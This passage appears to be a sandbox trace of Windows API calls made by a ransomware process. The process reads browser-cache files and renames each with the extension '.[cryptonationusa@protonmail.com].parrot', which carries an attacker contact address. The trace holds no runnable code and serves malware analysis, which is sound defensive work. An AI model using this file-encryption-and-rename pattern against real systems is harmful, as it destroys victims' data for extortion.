lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237980 | out: hHeap=0x5b0000) returned 1 [0084.217] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.217] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.218] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.219] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x918, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x918, lpOverlapped=0x0) returned 1 [0084.219] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.219] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237980 | out: hHeap=0x5b0000) returned 1 [0084.222] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.222] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.223] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.224] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3a2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3a2, lpOverlapped=0x0) returned 1 [0084.224] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.224] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237058 | out: hHeap=0x5b0000) returned 1 [0084.227] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.227] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.228] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.229] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x24c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x24c, lpOverlapped=0x0) returned 1 [0084.229] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.229] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31798c8 | out: hHeap=0x5b0000) returned 1 [0084.232] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.232] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.236] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.236] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x398, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x398, lpOverlapped=0x0) returned 1 [0084.236] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.237] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237058 | out: hHeap=0x5b0000) returned 1 [0084.240] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.240] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.241] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.242] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x230, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x230, lpOverlapped=0x0) returned 1 [0084.242] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.242] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31798b8 | out: hHeap=0x5b0000) returned 1 [0084.245] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.245] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.246] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.247] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x116, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x116, lpOverlapped=0x0) returned 1 [0084.247] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.247] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179670 | out: hHeap=0x5b0000) returned 1 [0084.250] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.250] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.251] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.251] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1fdaf, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1fdaf, lpOverlapped=0x0) returned 1 [0084.255] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.259] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6ee8 | out: hHeap=0x5b0000) returned 1 [0084.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225afb0 | out: hHeap=0x5b0000) returned 1 [0084.263] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.263] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.265] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.265] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12282, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x12282, lpOverlapped=0x0) returned 1 [0084.271] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.372] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\cb=gapi[1].loaded_1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\cb=gapi[1].loaded_1.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.373] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6ee8 | out: hHeap=0x5b0000) returned 1 [0084.373] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.373] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225afb0 | out: hHeap=0x5b0000) returned 1 [0084.375] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.375] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.409] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.409] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x82d8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x82d8, lpOverlapped=0x0) returned 1 [0084.422] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.423] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chartbeat[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chartbeat[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x224af70 | out: hHeap=0x5b0000) returned 1 [0084.426] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.426] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.428] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.428] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3bf20, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3bf20, lpOverlapped=0x0) returned 1 [0084.446] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.462] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome-installer.min[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome-installer.min[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178458 | out: hHeap=0x5b0000) returned 1 [0084.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0084.467] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.467] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.468] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.468] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1622, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1622, lpOverlapped=0x0) returned 1 [0084.469] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.471] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6ee8 | out: hHeap=0x5b0000) returned 1 [0084.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2238098 | out: hHeap=0x5b0000) returned 1 [0084.475] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.475] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.484] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.484] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x13d, lpOverlapped=0x0) returned 1 [0084.485] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.485] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6ee8 | out: hHeap=0x5b0000) returned 1 [0084.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179670 | out: hHeap=0x5b0000) returned 1 [0084.488] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.488] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.490] SetFilePointerEx (in: hFile=0x268, 